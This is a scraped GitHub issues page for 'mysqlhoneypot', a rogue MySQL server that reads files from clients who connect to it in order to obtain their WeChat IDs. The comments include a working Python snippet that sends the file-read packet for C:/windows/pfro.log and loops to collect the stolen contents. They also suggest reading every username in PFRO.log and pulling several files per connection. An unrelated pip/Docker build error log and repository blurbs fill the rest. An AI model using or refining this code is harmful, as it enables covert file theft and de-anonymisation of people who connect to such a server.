qigpig / mysqlhoneypot Goto Github PK
View Code? Open in Web Editor NEWUse MySQL honeypot to get wechat ID
Use MySQL honeypot to get wechat ID
读取大文件解决思路:
发送访问文件的请求后,建立一个while循环,一直读取数据并且将每次读取的数据保存到变量或文件中,直到读取到的信息为空。
filename='C:/windows/pfro.log'
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
conn.sendall('asdfsadfsadfsa') #随便发送的数据,为了让recv接收到空数据以退出循环,如果不发送会导致recv阻塞
content = 'asdfasdf' #初始进入循环
while len(content) !=0 :
content=conn.recv(9999999)
text = text + content
print text #这时的text是完整的数据
在Linux docker中搭建后无法读取到客户端的文件,请教这种是啥问题导致的?我使用python2运行main.py会报错,使用python3则能正常运行和监听端口,但是无法读取到相应的文件。
[web 4/4] RUN pip install flask && pip install Flask-HTTPAuth:
0.678 WARNING: Running pip install with root privileges is generally not a good idea. Trypip install --user
instead.
0.691 Requirement already satisfied: flask in /usr/lib64/python2.7/site-packages
0.702 Requirement already satisfied: Werkzeug>=0.14 in /usr/lib/python2.7/site-packages (from flask)
0.708 Requirement already satisfied: click>=5.1 in /usr/lib64/python2.7/site-packages (from flask)
0.709 Requirement already satisfied: itsdangerous>=0.24 in /usr/lib/python2.7/site-packages (from flask)
0.711 Requirement already satisfied: Jinja2>=2.10 in /usr/lib/python2.7/site-packages (from flask)
0.714 Requirement already satisfied: MarkupSafe>=0.23 in /usr/lib64/python2.7/site-packages (from Jinja2>=2.10->flask)
0.960 WARNING: Running pip install with root privileges is generally not a good idea. Trypip install --user
instead.
1.004 Collecting Flask-HTTPAuth
9.360 Downloading https://files.pythonhosted.org/packages/22/21/0160aa217c4df74e44a04919213f9c8af7e68551c10267b055f1e09d421c/Flask-HTTPAuth-4.8.0.tar.gz (230kB)
99.92 Requirement already satisfied: flask in /usr/lib64/python2.7/site-packages (from Flask-HTTPAuth)
99.94 Requirement already satisfied: Werkzeug>=0.14 in /usr/lib/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.94 Requirement already satisfied: click>=5.1 in /usr/lib64/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.94 Requirement already satisfied: itsdangerous>=0.24 in /usr/lib/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.94 Requirement already satisfied: Jinja2>=2.10 in /usr/lib/python2.7/site-packages (from flask->Flask-HTTPAuth)
99.95 Requirement already satisfied: MarkupSafe>=0.23 in /usr/lib64/python2.7/site-packages (from Jinja2>=2.10->flask->Flask-HTTPAuth)
99.95 Installing collected packages: Flask-HTTPAuth
99.95 Running setup.py install for Flask-HTTPAuth: started
100.1 Running setup.py install for Flask-HTTPAuth: finished with status 'error'
100.1 Complete output from command /usr/bin/python2 -u -c "import setuptools, tokenize;file='/tmp/pip-build-Fcufer/Flask-HTTPAuth/setup.py';f=getattr(tokenize, 'open', open)(file);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, file, 'exec'))" install --record /tmp/pip-2wK7i0-record/install-record.txt --single-version-externally-managed --compile:
100.1 running install
100.1 running build
100.1 running build_py
100.1 creating build
100.1 creating build/lib
100.1 copying src/flask_httpauth.py -> build/lib
100.1 running egg_info
100.1 error: 'egg_base' must be a directory name (gotsrc
)
100.1
100.1 ----------------------------------------
100.1 Command "/usr/bin/python2 -u -c "import setuptools, tokenize;file='/tmp/pip-build-Fcufer/Flask-HTTPAuth/setup.py';f=getattr(tokenize, 'open', open)(file);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, file, 'exec'))" install --record /tmp/pip-2wK7i0-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-Fcufer/Flask-HTTPAuth/
failed to solve: executor failed running [/bin/sh -c pip install flask && pip install Flask-HTTPAuth]: exit code: 1
1、PFRO.log中如果有多个用户名,读取的是第一个用户名,但是安装微信等路径的可能是其他的用户名安装的,导致读取不到文件。
如以下日志,wechat安装在coco用户下,但是脚本去访问Administrator去了。建议跑个循环,把所有用户名都读取一遍
1/29/2019 14:16:58 - PFRO Error: ??\C:\Users\Administrator\AppData\Local\Microsoft
1/29/2019 14:50:45 - PFRO Error: ??\C:\Users\ADMINI~1\AppData\Local\Temp
3/17/2019 15:30:38 - PFRO Error: ??\C:\Users\cocosec\AppData\
2、每次连接mysql后,脚本只能读取一次客户端文件,建议跑循环,一次读取客户端多个文件
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.